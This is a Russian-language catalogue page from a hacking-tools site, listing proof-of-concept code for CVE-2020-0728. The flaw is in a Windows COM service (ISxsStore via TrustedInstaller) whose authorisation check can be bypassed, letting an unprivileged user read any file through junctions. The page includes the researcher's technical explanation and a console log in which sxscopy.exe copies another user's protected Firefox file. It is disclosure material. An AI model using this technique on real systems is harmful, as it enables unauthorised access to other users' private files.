Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-0728 — PoC-код для CVE-2020-0728 | Kitploit
Инструменты/GitHubGitHub/irsl/cve-2020-0728
Повышение привилегийАнализ уязвимостейЭксплуатацияПост-эксплуатацияЭксплуатация Бинарных Файлов
GitHubirsl/cve-2020-0728

CVE-2020-0728

PoC-код для CVE-2020-0728

Репозиторий
46126 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-0728

Детали

Служба TrustedInstaller.exe работает как NT_AUTHORITY\SYSTEM и размещает COM-службу класса Sxs Store (3C6859CE-230B-48A4-BE6C-932C0C202048) наряду с интерфейсом ISxsStore. Разрешения доступа (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) этой службы предоставляют доступ любым пользователям локальной системы. Интерфейс ISxsStore предоставляет 4 метода:

root@kitploit:~
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
    HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
    HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
    HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
    HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}

При вызове реализация обращается к интерфейсу ICbsWorker, размещённому в процессе TiWorker.exe (опять же, работающему как NT_AUTHORITY\SYSTEM), чтобы получить сеанс ICbsSession8, а затем практически вызывает те же методы через этот интерфейс. Реальная логика реализована в библиотеке sxsstore.dll; авторизацию можно найти в CSxsStore::BeginAssemblyInstall:

root@kitploit:~
uVar1 = SxspEnsureComClientIsAdmin((void **)this);

Это делается с помощью вызовов CoImpersonateClient+CheckTokenMembership.

Проблема в том, что если сеанс, размещённый процессом TiWorker.exe, вызывается через обёртку TrustedInstaller.exe, реализованная логика авторизации всегда сталкивается с подключениями от NT_AUTHORITY\SYSTEM и таким образом предоставляет доступ кому угодно.

Запрашиваемые к установке сборки размещаются в C:\Windows\WinSXS реализацией, находящейся в wcp.dll (Windows::COM::CComponentStore::InternalTransact), и, похоже, обладают достаточными мерами безопасности, чтобы защитить эти вызовы методов от выхода за пределы этого допустимого целевого каталога, однако исходные файлы, на которые ссылается манифест, могут быть использованы через точки соединения.

Это можно использовать для обхода DAC файловой системы и чтения любых файлов в локальной файловой системе, как показано ниже:

root@kitploit:~
	Microsoft Windows [Version 10.0.18362.592]
	(c) 2019 Microsoft Corporation. All rights reserved.

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
	desktop-43rnlku\unprivileged

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv

	PRIVILEGES INFORMATION
	----------------------

	Privilege Name                Description                          State
	============================= ==================================== ========
	SeShutdownPrivilege           Shut down the system                 Disabled
	SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
	SeUndockPrivilege             Remove computer from docking station Disabled
	SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
	SeTimeZonePrivilege           Change the time zone                 Disabled


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
	Access is denied.


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
	sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
	Creating helper junction sxscopy.junction -> C:\
	Junction created for sxscopy.junction <<===>> C:\
	Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
	Exploitation has succeeded, copy of the source file was placed inside WinSXS
	Copy has succeeded!

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
	[Install308046B0AF4A39CB]
	Default=Profiles/5bqqo33l.default
	Locked=1

	[Profile2]
	Name=johndoe
	IsRelative=1
	Path=Profiles/5bqqo33l.default
	Default=1

	[Profile1]
	Name=default
	IsRelative=1
	Path=Profiles/x89vbmzf.default

	[Profile0]
	Name=default-release
	IsRelative=1
	Path=Profiles/1kmhc44f.default-release

	[General]
	StartWithLastProfile=1
	Version=2

Фреймворк wcp на самом деле довольно сложен и включает различные «установщики» (например, выполнение GenericCommand среди «продвинутых»), но интерфейс, доступный выше, похоже, ограничен только «примитивными установщиками». Мне удалось инициировать выполнение CRegistryInstaller::CommitChanges, которое записало в журнал C:\Windows\Logs\CBS\CBS.log строки вида:

root@kitploit:~
2020-01-18 15:58:16, Info                  CSI    0000000c Registry installer wrote xxx values

Но на самом деле он так и не вызывал никаких методов API для изменения чего-либо в реестре.

Благодарности

Приведённый выше отчёт вместе с PoC-кодом был отправлен Имре Радом, но также был обнаружен исследователями из NCC (на самом деле на несколько месяцев раньше).

Ссылки

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728

Скачать инструмент